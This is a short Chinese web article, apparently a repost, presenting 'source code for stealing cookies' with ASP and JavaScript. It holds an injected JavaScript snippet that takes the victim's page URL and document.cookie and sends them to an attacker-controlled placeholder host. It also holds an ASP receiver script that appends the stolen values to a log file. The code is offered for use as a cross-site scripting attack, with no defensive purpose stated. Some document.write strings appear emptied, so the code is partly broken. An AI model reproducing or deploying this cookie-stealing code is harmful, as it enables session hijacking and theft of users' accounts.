asp+js 偷取Cookies源代码

番茄系统家园 · 2022-03-11 06:14:27

偷取Cookie,通过以下脚本引入一个js,document.write(""),然后js内容为:
var code;         
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="";
document.write(code);

这样就可以将cookie等信息传到我们的站点了!cookie.asp内容为:

复制代码代码如下:
dim fso,file,str        
str=unescape(request.Servervariables("QUERY_STRING"))    
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
path = server.mappath("xxx.txt")     
set file=fso.opentextfile(path, ForAppending, TRUE)   
file.write("Xss:")
file.write(str)        
file.write vbCrLf       
file.close
set file = nothing        
set fso = nothing

免责声明: 凡标注转载/编译字样内容并非本站原创,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如果你觉得本文好,欢迎推荐给朋友阅读;本文链接: https://m.nndssk.com/wlaq/17223813p9au.html
猜你喜欢
最新应用
热门应用